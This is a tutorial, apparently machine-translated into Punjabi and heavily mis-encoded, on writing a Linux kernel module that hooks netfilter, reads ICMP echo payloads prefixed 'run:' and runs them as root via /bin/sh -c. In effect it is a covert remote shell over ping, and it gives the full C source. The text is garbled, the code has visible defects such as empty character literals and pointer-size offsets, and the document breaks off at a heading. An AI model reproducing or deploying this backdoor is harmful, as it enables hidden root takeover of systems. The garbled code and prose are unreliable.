เจนเฉเจฃ เจธเจพเจจเฉ‚เฉฐ เจชเฉ‡เจฒเฉ‹เจก เจ•เฉฑเจขเจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ, เจ‡เจน เจธเจญ เจคเฉ‹เจ‚ เจ”เจ–เจพ เจ•เฉฐเจฎ เจจเจฟเจ•เจฒเจฟเจ†เฅค เจชเฉ‡เจฒเฉ‹เจกเจพเจ‚ เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐเจจ เจฒเจˆ เจ•เจฐเจจเจฒ เจตเจฟเฉฑเจš เจฌเจฟเจฒเจŸ-เจ‡เจจ เจซเฉฐเจ•เจธเจผเจจ เจจเจนเฉ€เจ‚ เจนเจจ; เจคเฉเจธเฉ€เจ‚ เจธเจฟเจฐเจซ เจ‰เฉฑเจš-เจชเฉฑเจงเจฐเฉ€ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฆเฉ‡ เจธเจฟเจฐเจฒเฉ‡เจ–เจพเจ‚ เจจเฉ‚เฉฐ เจชเจพเจฐเจธ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

เจ•เฉ€ เจนเฉ‹ เจฐเจฟเจนเจพ เจนเฉˆ:

  1. เจฎเฉˆเจจเฉ‚เฉฐ เจตเจพเจงเฉ‚ เจธเจฟเจฐเจฒเฉ‡เจ– เจซเจพเจˆเจฒเจพเจ‚ เจจเฉ‚เฉฐ เจธเจผเจพเจฎเจฒ เจ•เจฐเจจเจพ เจชเจฟเจ†, เจ‡เจธ เจตเจพเจฐ IP เจ…เจคเฉ‡ ICMP เจธเจฟเจฐเจฒเฉ‡เจ–เจพเจ‚ เจจเฉ‚เฉฐ เจนเฉ‡เจฐเจพเจซเฉ‡เจฐเฉ€ เจ•เจฐเจจ เจฒเจˆ.
  2. เจฎเฉˆเจ‚ เจ…เจงเจฟเจ•เจคเจฎ เจฒเจพเจˆเจจ เจฆเฉ€ เจฒเฉฐเจฌเจพเจˆ เจธเฉˆเจŸ เจ•เจฐเจฆเจพ เจนเจพเจ‚: #define MAX_CMD_LEN 1976. เจ‡เจน เจฌเจฟเจฒเจ•เฉเจฒ เจ•เจฟเจ‰เจ‚? เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ•เฉฐเจชเจพเจˆเจฒเจฐ เจ‡เจธ เจฌเจพเจฐเฉ‡ เจธเจผเจฟเจ•เจพเจ‡เจค เจ•เจฐเจฆเจพ เจนเฉˆ! เจ‰เจจเฉเจนเจพเจ‚ เจจเฉ‡ เจฎเฉˆเจจเฉ‚เฉฐ เจชเจนเจฟเจฒเจพเจ‚ เจนเฉ€ เจธเฉเจเจพเจ… เจฆเจฟเฉฑเจคเจพ เจนเฉˆ เจ•เจฟ เจฎเฉˆเจจเฉ‚เฉฐ เจธเจŸเฉˆเจ• เจ…เจคเฉ‡ เจนเฉ€เจช เจจเฉ‚เฉฐ เจธเจฎเจเจฃ เจฆเฉ€ เจœเจผเจฐเฉ‚เจฐเจค เจนเฉˆ, เจ•เจฟเจธเฉ‡ เจฆเจฟเจจ เจฎเฉˆเจ‚ เจจเจฟเจธเจผเจšเจค เจคเฉŒเจฐ 'เจคเฉ‡ เจ…เจœเจฟเจนเจพ เจ•เจฐเจพเจ‚เจ—เจพ เจ…เจคเฉ‡ เจธเจผเจพเจ‡เจฆ เจ•เฉ‹เจก เจจเฉ‚เฉฐ เจตเฉ€ เจ เฉ€เจ• เจ•เจฐเจพเจ‚เจ—เจพ. เจฎเฉˆเจ‚ เจคเฉเจฐเฉฐเจค เจ‰เจน เจฒเจพเจˆเจจ เจธเฉˆเจŸ เจ•เฉ€เจคเฉ€ เจœเจฟเจธ เจตเจฟเฉฑเจš เจ•เจฎเจพเจ‚เจก เจนเฉ‹เจตเฉ‡เจ—เฉ€: char cmd_string[MAX_CMD_LEN];. เจ‡เจน เจธเจพเจฐเฉ‡ เจซเฉฐเจ•เจธเจผเจจเจพเจ‚ เจตเจฟเฉฑเจš เจฆเจฟเจ–เจพเจˆ เจฆเฉ‡เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ; เจฎเฉˆเจ‚ เจ‡เจธ เจฌเจพเจฐเฉ‡ เจชเฉˆเจฐเจพ 9 เจตเจฟเฉฑเจš เจตเจงเฉ‡เจฐเฉ‡ เจตเจฟเจธเจฅเจพเจฐ เจจเจพเจฒ เจ—เฉฑเจฒ เจ•เจฐเจพเจ‚เจ—เจพเฅค
  3. เจนเฉเจฃ เจธเจพเจจเฉ‚เฉฐ เจธเจผเฉเจฐเฉ‚เจ†เจค เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ (struct work_struct my_work;) เจฌเจฃเจคเจฐ เจ…เจคเฉ‡ เจ‡เจธเจจเฉ‚เฉฐ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ เจซเฉฐเจ•เจธเจผเจจ เจจเจพเจฒ เจœเฉ‹เฉœเฉ‹ (DECLARE_WORK(my_work, work_handler);). เจฎเฉˆเจ‚ เจ‡เจธ เจฌเจพเจฐเฉ‡ เจตเฉ€ เจ—เฉฑเจฒ เจ•เจฐเจพเจ‚เจ—เจพ เจ•เจฟ เจ‡เจน เจจเฉŒเจตเฉ‡เจ‚ เจชเฉˆเจฐเฉ‡ เจตเจฟเฉฑเจš เจ•เจฟเจ‰เจ‚ เจœเจผเจฐเฉ‚เจฐเฉ€ เจนเฉˆเฅค
  4. เจนเฉเจฃ เจฎเฉˆเจ‚ เจ‡เฉฑเจ• เจซเฉฐเจ•เจธเจผเจจ เจ˜เฉ‹เจธเจผเจฟเจค เจ•เจฐเจฆเจพ เจนเจพเจ‚, เจœเฉ‹ เจ‡เฉฑเจ• เจนเฉเฉฑเจ• เจนเฉ‹เจตเฉ‡เจ—เจพเฅค เจ•เจฟเจธเจฎ เจ…เจคเฉ‡ เจธเจตเฉ€เจ•เจพเจฐ เจ•เฉ€เจคเฉ‡ เจ—เจ เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸ เจจเฉˆเฉฑเจŸเจซเจฟเจฒเจŸเจฐ เจฆเฉเจ†เจฐเจพ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เฉ€เจคเฉ‡ เจ—เจ เจนเจจ, เจ…เจธเฉ€เจ‚ เจธเจฟเจฐเจซ เจ‡เจธ เจตเจฟเฉฑเจš เจฆเจฟเจฒเจšเจธเจชเฉ€ เจฐเฉฑเจ–เจฆเฉ‡ เจนเจพเจ‚ skb. เจ‡เจน เจ‡เฉฑเจ• เจธเจพเจ•เจŸ เจฌเจซเจฐ เจนเฉˆ, เจ‡เฉฑเจ• เจฌเฉเจจเจฟเจ†เจฆเฉ€ เจกเจพเจŸเจพ เจขเจพเจ‚เจšเจพ เจœเจฟเจธ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจชเฉˆเจ•เฉ‡เจŸ เจฌเจพเจฐเฉ‡ เจธเจพเจฐเฉ€ เจ‰เจชเจฒเจฌเจง เจœเจพเจฃเจ•เจพเจฐเฉ€ เจธเจผเจพเจฎเจฒ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆเฅค
  5. เจซเฉฐเจ•เจธเจผเจจ เจฆเฉ‡ เจ•เฉฐเจฎ เจ•เจฐเจจ เจฒเจˆ, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจฆเฉ‹ เจธเฉฐเจฐเจšเจจเจพเจตเจพเจ‚ เจ…เจคเฉ‡ เจ•เจˆ เจตเฉ‡เจฐเฉ€เจเจฌเจฒเจพเจ‚ เจฆเฉ€ เจฒเฉ‹เฉœ เจชเจตเฉ‡เจ—เฉ€, เจœเจฟเจธ เจตเจฟเฉฑเจš เจฆเฉ‹ เจฐเฉ€เจŸเจฐเฉ‡เจŸเจฐ เจธเจผเจพเจฎเจฒ เจนเจจเฅค
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. เจ…เจธเฉ€เจ‚ เจคเจฐเจ• เจจเจพเจฒ เจธเจผเฉเจฐเฉ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเจพเจ‚เฅค เจฎเฉ‹เจกเฉ€เจŠเจฒ เจฆเฉ‡ เจ•เฉฐเจฎ เจ•เจฐเจจ เจฒเจˆ, ICMP เจˆเจ•เฉ‹ เจคเฉ‹เจ‚ เจ‡เจฒเจพเจตเจพ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ เจชเฉˆเจ•เฉ‡เจŸ เจฆเฉ€ เจฒเฉ‹เฉœ เจจเจนเฉ€เจ‚ เจนเฉˆ, เจ‡เจธเจฒเจˆ เจ…เจธเฉ€เจ‚ เจฌเจฟเจฒเจŸ-เจ‡เจจ เจซเฉฐเจ•เจธเจผเจจเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจฌเจซเจฐ เจจเฉ‚เฉฐ เจชเจพเจฐเจธ เจ•เจฐเจฆเฉ‡ เจนเจพเจ‚ เจ…เจคเฉ‡ เจธเจพเจฐเฉ‡ เจ—เฉˆเจฐ-ICMP เจ…เจคเฉ‡ เจ—เฉˆเจฐ-เจˆเจ•เฉ‹ เจชเฉˆเจ•เฉ‡เจŸเจพเจ‚ เจจเฉ‚เฉฐ เจฌเจพเจนเจฐ เจธเฉเฉฑเจŸ เจฆเจฟเฉฐเจฆเฉ‡ เจนเจพเจ‚เฅค เจตเจพเจชเจธเฉ€ NF_ACCEPT เจญเจพเจต เจชเฉˆเจ•เฉ‡เจœ เจฆเฉ€ เจธเจตเฉ€เจ•เฉเจฐเจฟเจคเฉ€, เจชเจฐ เจคเฉเจธเฉ€เจ‚ เจตเจพเจชเจธ เจ† เจ•เฉ‡ เจตเฉ€ เจชเฉˆเจ•เฉ‡เจœ เจ›เฉฑเจก เจธเจ•เจฆเฉ‡ เจนเฉ‹ NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    เจฎเฉˆเจ‚ เจ‡เจน เจœเจพเจ‚เจš เจจเจนเฉ€เจ‚ เจ•เฉ€เจคเฉ€ เจนเฉˆ เจ•เจฟ IP เจธเจฟเจฐเจฒเฉ‡เจ–เจพเจ‚ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจ•เฉ€ เจนเฉ‹เจตเฉ‡เจ—เจพ. C เจฌเจพเจฐเฉ‡ เจฎเฉ‡เจฐเจพ เจ˜เฉฑเจŸเฉ‹-เจ˜เฉฑเจŸ เจ—เจฟเจ†เจจ เจฎเฉˆเจจเฉ‚เฉฐ เจฆเฉฑเจธเจฆเจพ เจนเฉˆ เจ•เจฟ เจฌเจฟเจจเจพเจ‚ เจ•เจฟเจธเฉ‡ เจตเจพเจงเฉ‚ เจœเจพเจ‚เจš เจฆเฉ‡, เจ•เฉเจ เจญเจฟเจ†เจจเจ• เจตเจพเจชเจฐเจจเจพ เจฒเจพเจœเจผเจฎเฉ€ เจนเฉˆเฅค เจฎเฉˆเจจเฉ‚เฉฐ เจ–เฉเจธเจผเฉ€ เจนเฉ‹เจตเฉ‡เจ—เฉ€ เจœเฉ‡เจ•เจฐ เจคเฉเจธเฉ€เจ‚ เจฎเฉˆเจจเฉ‚เฉฐ เจ‡เจธ เจคเฉ‹เจ‚ เจฐเฉ‹เจ•เจฆเฉ‡ เจนเฉ‹!

  7. เจนเฉเจฃ เจœเจฆเฉ‹เจ‚ เจชเฉˆเจ•เฉ‡เจœ เจธเจนเฉ€ เจ•เจฟเจธเจฎ เจฆเจพ เจนเฉˆ เจœเจฟเจธเจฆเฉ€ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจฒเฉ‹เฉœ เจนเฉˆ, เจคเฉเจธเฉ€เจ‚ เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจเจ•เจธเจŸเจฐเฉˆเจ•เจŸ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจ‡เฉฑเจ• เจฌเจฟเจฒเจŸ-เจ‡เจจ เจซเฉฐเจ•เจธเจผเจจ เจฆเฉ‡ เจฌเจฟเจจเจพเจ‚, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจชเจนเจฟเจฒเจพเจ‚ เจชเฉ‡เจฒเฉ‹เจก เจฆเฉ€ เจธเจผเฉเจฐเฉ‚เจ†เจค เจฒเจˆ เจ‡เฉฑเจ• เจชเฉเจ†เจ‡เฉฐเจŸเจฐ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจพ เจนเฉ‹เจตเฉ‡เจ—เจพเฅค เจ‡เจน เจ‡เฉฑเจ• เจฅเจพเจ‚ เจคเฉ‡ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจชเฉเจ†เจ‡เฉฐเจŸเจฐ เจจเฉ‚เฉฐ ICMP เจธเจฟเจฐเจฒเฉ‡เจ– เจฆเฉ‡ เจธเจผเฉเจฐเฉ‚ เจตเจฟเฉฑเจš เจฒเฉˆ เจœเจพเจฃ เจ…เจคเฉ‡ เจ‡เจธเจจเฉ‚เฉฐ เจ‡เจธ เจธเจฟเจฐเจฒเฉ‡เจ– เจฆเฉ‡ เจ†เจ•เจพเจฐ เจตเจฟเฉฑเจš เจฒเฉˆ เจœเจพเจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆเฅค เจนเจฐ เจšเฉ€เจœเจผ เจฌเจฃเจคเจฐ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ€ เจนเฉˆ icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    เจธเจฟเจฐเจฒเฉ‡เจ– เจฆเจพ เจ…เฉฐเจค เจตเจฟเฉฑเจš เจชเฉ‡เจฒเฉ‹เจก เจฆเฉ‡ เจ…เฉฐเจค เจจเจพเจฒ เจฎเฉ‡เจฒ เจ–เจพเจ‚เจฆเจพ เจนเฉ‹เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ skb, เจ‡เจธเจฒเจˆ เจ…เจธเฉ€เจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจธเฉฐเจฌเฉฐเจงเจฟเจค เจขเจพเจ‚เจšเฉ‡ เจคเฉ‹เจ‚ เจชเฉเจฐเจฎเจพเจฃเฉ‚ เจธเจพเจงเจจเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจฆเฉ‡ เจนเจพเจ‚: tail = skb_tail_pointer(skb);.

    ICMP เจ‰เฉฑเจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเฉ‚ เจธเจผเฉˆเฉฑเจฒ

    เจคเจธเจตเฉ€เจฐ เจšเฉ‹เจฐเฉ€ เจนเฉ‹ เจ—เจˆ เจธเฉ€ เจ‡เฉฑเจฅเฉ‹เจ‚, เจคเฉเจธเฉ€เจ‚ เจธเจพเจ•เจŸ เจฌเจซเจฐ เจฌเจพเจฐเฉ‡ เจนเฉ‹เจฐ เจชเฉœเฉเจน เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค

  8. เจ‡เฉฑเจ• เจตเจพเจฐ เจœเจฆเฉ‹เจ‚ เจคเฉเจนเจพเจกเฉ‡ เจ•เฉ‹เจฒ เจธเจผเฉเจฐเฉ‚เจ†เจค เจ…เจคเฉ‡ เจ…เฉฐเจค เจฒเจˆ เจชเฉเจ†เจ‡เฉฐเจŸเจฐ เจนเฉ‹ เจœเจพเจ‚เจฆเฉ‡ เจนเจจ, เจคเจพเจ‚ เจคเฉเจธเฉ€เจ‚ เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจธเจคเจฐ เจตเจฟเฉฑเจš เจ•เจพเจชเฉ€ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹ cmd_string, เจ‡เฉฑเจ• เจ…เจ—เฉ‡เจคเจฐ เจฆเฉ€ เจฎเฉŒเจœเฉ‚เจฆเจ—เฉ€ เจฒเจˆ เจ‡เจธเจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเฉ‹ run: เจ…เจคเฉ‡, เจœเจพเจ‚ เจคเจพเจ‚ เจชเฉˆเจ•เฉ‡เจœ เจจเฉ‚เฉฐ เจฐเฉฑเจฆ เจ•เจฐเฉ‹ เจœเฉ‡เจ•เจฐ เจ‡เจน เจ—เฉเฉฐเจฎ เจนเฉˆ, เจœเจพเจ‚ เจ‡เจธ เจ…เจ—เฉ‡เจคเจฐ เจจเฉ‚เฉฐ เจนเจŸเจพ เจ•เฉ‡, เจฒเจพเจˆเจจ เจจเฉ‚เฉฐ เจฆเฉเจฌเจพเจฐเจพ เจฒเจฟเจ–เฉ‹เฅค
  9. เจฌเฉฑเจธ, เจนเฉเจฃ เจคเฉเจธเฉ€เจ‚ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ เจนเฉˆเจ‚เจกเจฒเจฐ เจจเฉ‚เฉฐ เจ•เจพเจฒ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹: schedule_work(&my_work);. เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ…เจœเจฟเจนเฉ€ เจ•เจพเจฒ เจฒเจˆ เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจชเจพเจธ เจ•เจฐเจจเจพ เจธเฉฐเจญเจต เจจเจนเฉ€เจ‚ เจนเฉ‹เจตเฉ‡เจ—เจพ, เจ•เจฎเจพเจ‚เจก เจตเจพเจฒเฉ€ เจฒเจพเจˆเจจ เจ—เจฒเฉ‹เจฌเจฒ เจนเฉ‹เจฃเฉ€ เจšเจพเจนเฉ€เจฆเฉ€ เจนเฉˆเฅค schedule_work() เจชเจพเจธ เจ•เฉ€เจคเฉ‡ เจขเจพเจ‚เจšเฉ‡ เจจเจพเจฒ เจœเฉเฉœเฉ‡ เจซเฉฐเจ•เจธเจผเจจ เจจเฉ‚เฉฐ เจŸเจพเจธเจ• เจธเจผเจกเจฟเจŠเจฒเจฐ เจฆเฉ€ เจ†เจฎ เจ•เจคเจพเจฐ เจตเจฟเฉฑเจš เจฐเฉฑเจ– เจฆเฉ‡เจตเฉ‡เจ—เจพ เจ…เจคเฉ‡ เจชเฉ‚เจฐเจพ เจ•เจฐเฉ‡เจ—เจพ, เจœเจฟเจธ เจจเจพเจฒ เจคเฉเจธเฉ€เจ‚ เจ•เจฎเจพเจ‚เจก เจฆเฉ‡ เจชเฉ‚เจฐเจพ เจนเฉ‹เจฃ เจฆเฉ€ เจ‰เจกเฉ€เจ• เจจเจนเฉ€เจ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจ‡เจน เจœเจผเจฐเฉ‚เจฐเฉ€ เจนเฉˆ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจนเฉเฉฑเจ• เจฌเจนเฉเจค เจคเฉ‡เจœเจผ เจนเฉ‹เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ. เจจเจนเฉ€เจ‚ เจคเจพเจ‚, เจคเฉเจนเจพเจกเฉ€ เจชเจธเฉฐเจฆ เจ‡เจน เจนเฉˆ เจ•เจฟ เจ•เฉเจ เจตเฉ€ เจธเจผเฉเจฐเฉ‚ เจจเจนเฉ€เจ‚ เจนเฉ‹เจตเฉ‡เจ—เจพ เจœเจพเจ‚ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ•เจฐเจจเจฒ เจชเฉˆเจจเจฟเจ• เจฎเจฟเจฒเฉ‡เจ—เจพเฅค เจฆเฉ‡เจฐเฉ€ เจฎเฉŒเจค เจตเจฐเจ—เฉ€ เจนเฉˆ!
  10. เจฌเฉฑเจธ, เจคเฉเจธเฉ€เจ‚ เจธเฉฐเจฌเฉฐเจงเจฟเจค เจตเจพเจชเจธเฉ€ เจฆเฉ‡ เจจเจพเจฒ เจชเฉˆเจ•เฉ‡เจœ เจจเฉ‚เฉฐ เจธเจตเฉ€เจ•เจพเจฐ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค

เจฏเฉ‚เจœเจผเจฐเจธเจชเฉ‡เจธ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎ เจจเฉ‚เฉฐ เจ•เจพเจฒ เจ•เจฐเจจเจพ

เจ‡เจน เจซเฉฐเจ•เจธเจผเจจ เจธเจญ เจคเฉ‹เจ‚ เจธเจฎเจเจฃ เจฏเฉ‹เจ— เจนเฉˆ. เจตเจฟเจš เจ‡เจธ เจฆเจพ เจจเจพเจ‚ เจฆเจฟเฉฑเจคเจพ เจ—เจฟเจ† เจธเฉ€ DECLARE_WORK(), เจ•เจฟเจธเจฎ เจ…เจคเฉ‡ เจธเจตเฉ€เจ•เจพเจฐ เจ•เฉ€เจคเฉ‡ เจ—เจ เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸ เจฆเจฟเจฒเจšเจธเจช เจจเจนเฉ€เจ‚ เจนเจจเฅค เจ…เจธเฉ€เจ‚ เจ•เจฎเจพเจ‚เจก เจจเจพเจฒ เจฒเจพเจˆเจจ เจฒเฉˆเจ‚เจฆเฉ‡ เจนเจพเจ‚ เจ…เจคเฉ‡ เจ‡เจธเจจเฉ‚เฉฐ เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจธเจผเฉˆเฉฑเจฒ เจตเจฟเฉฑเจš เจญเฉ‡เจœเจฆเฉ‡ เจนเจพเจ‚เฅค เจ‰เจธเจจเฉ‚เฉฐ เจชเจพเจฐเจธเจฟเฉฐเจ—, เจฌเจพเจˆเจจเจฐเฉ€เจ†เจ‚ เจฆเฉ€ เจ–เฉ‹เจœ เจ…เจคเฉ‡ เจนเฉ‹เจฐ เจธเจญ เจ•เฉเจ เจ•เจฐเจจ เจฆเจฟเจ“เฅค

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸเจพเจ‚ เจจเฉ‚เฉฐ เจธเจคเจฐ เจฆเฉ€ เจ‡เฉฑเจ• เจฒเฉœเฉ€ เจตเจฟเฉฑเจš เจธเฉˆเฉฑเจŸ เจ•เจฐเฉ‹ argv[]. เจฎเฉˆเจ‚ เจ‡เจน เจฎเฉฐเจจ เจฒเจตเจพเจ‚เจ—เจพ เจ•เจฟ เจนเจฐ เจ•เฉ‹เจˆ เจœเจพเจฃเจฆเจพ เจนเฉˆ เจ•เจฟ เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎเจพเจ‚ เจจเฉ‚เฉฐ เจ…เจธเจฒ เจตเจฟเฉฑเจš เจ‡เจธ เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจšเจฒเจพเจ‡เจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจจเจพ เจ•เจฟ เจธเจชเฉ‡เจธ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจจเจฟเจฐเฉฐเจคเจฐ เจฒเจพเจˆเจจ เจตเจœเฉ‹เจ‚เฅค
  2. เจตเจพเจคเจพเจตเจฐเจฃ เจตเฉ‡เจฐเฉ€เจเจฌเจฒ เจธเฉˆเฉฑเจŸ เจ•เจฐเฉ‹เฅค เจฎเฉˆเจ‚ เจชเจพเจฅเจพเจ‚ เจฆเฉ‡ เจ˜เฉฑเจŸเฉ‹-เจ˜เฉฑเจŸ เจธเฉˆเฉฑเจŸ เจฆเฉ‡ เจจเจพเจฒ เจธเจฟเจฐเจซเจผ PATH เจจเฉ‚เฉฐ เจธเฉฐเจฎเจฟเจฒเจฟเจค เจ•เฉ€เจคเจพ เจนเฉˆ, เจ‡เจน เจ‰เจฎเฉ€เจฆ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจ•เจฟ เจ‰เจน เจธเจพเจฐเฉ‡ เจชเจนเจฟเจฒเจพเจ‚ เจนเฉ€ เจ‡เจ•เฉฑเจ เฉ‡ เจ•เฉ€เจคเฉ‡ เจ—เจ เจธเจจ /bin ั /usr/bin ะธ /sbin ั /usr/sbin. เจ…เจญเจฟเจ†เจธ เจตเจฟเฉฑเจš เจนเฉ‹เจฐ เจฎเจพเจฐเจ— เจ˜เฉฑเจŸ เจนเฉ€ เจฎเจนเฉฑเจคเจต เจฐเฉฑเจ–เจฆเฉ‡ เจนเจจเฅค
  3. เจนเฉ‹ เจ—เจฟเจ†, เจ†เจ“ เจ‡เจน เจ•เจฐเฉ€เจ! เจ•เจฐเจจเจฒ เจซเฉฐเจ•เจธเจผเจจ call_usermodehelper() เจฆเจพเจ–เจฒเจพ เจธเจตเฉ€เจ•เจพเจฐ เจ•เจฐเจฆเจพ เจนเฉˆเฅค เจฌเจพเจˆเจจเจฐเฉ€ เจฆเจพ เจฎเจพเจฐเจ—, เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸเจธ เจฆเฉ€ เจเจฐเฉ‡, เจตเจพเจคเจพเจตเจฐเจฃ เจตเฉ‡เจฐเฉ€เจเจฌเจฒ เจฆเฉ€ เจเจฐเฉ‡เฅค เจ‡เฉฑเจฅเฉ‡ เจฎเฉˆเจ‚ เจ‡เจน เจตเฉ€ เจฎเฉฐเจจเจฆเจพ เจนเจพเจ‚ เจ•เจฟ เจนเจฐ เจ•เฉ‹เจˆ เจ‡เฉฑเจ• เจตเฉฑเจ–เจฐเฉ€ เจฆเจฒเฉ€เจฒ เจตเจœเฉ‹เจ‚ เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจŸเฉ‡เจฌเจฒ เจซเจพเจˆเจฒ เจฆเฉ‡ เจฎเจพเจฐเจ— เจจเฉ‚เฉฐ เจชเจพเจธ เจ•เจฐเจจ เจฆเฉ‡ เจ…เจฐเจฅ เจจเฉ‚เฉฐ เจธเจฎเจเจฆเจพ เจนเฉˆ, เจชเจฐ เจคเฉเจธเฉ€เจ‚ เจชเฉเฉฑเจ› เจธเจ•เจฆเฉ‡ เจนเฉ‹. เจ†เจ–เจฐเฉ€ เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸ เจฆเฉฑเจธเจฆเจพ เจนเฉˆ เจ•เจฟ เจ•เฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจชเฉ‚เจฐเฉ€ เจนเฉ‹เจฃ เจฆเฉ€ เจ‰เจกเฉ€เจ• เจ•เจฐเจจเฉ€ เจนเฉˆ (UMH_WAIT_PROC), เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจธเจผเฉเจฐเฉ‚ (UMH_WAIT_EXEC) เจœเจพเจ‚ เจฌเจฟเจฒเจ•เฉเจฒ เจ‡เฉฐเจคเจœเจผเจพเจฐ เจจเจพ เจ•เจฐเฉ‹ (UMH_NO_WAIT). เจ•เฉ€ เจ•เฉเจ เจนเฉ‹เจฐ เจนเฉˆ UMH_KILLABLE, เจฎเฉˆเจ‚ เจ‡เจธ เจตเฉฑเจฒ เจงเจฟเจ†เจจ เจจเจนเฉ€เจ‚ เจฆเจฟเฉฑเจคเจพเฅค

เจ…เจธเฉˆเจ‚เจฌเจฒเฉ€

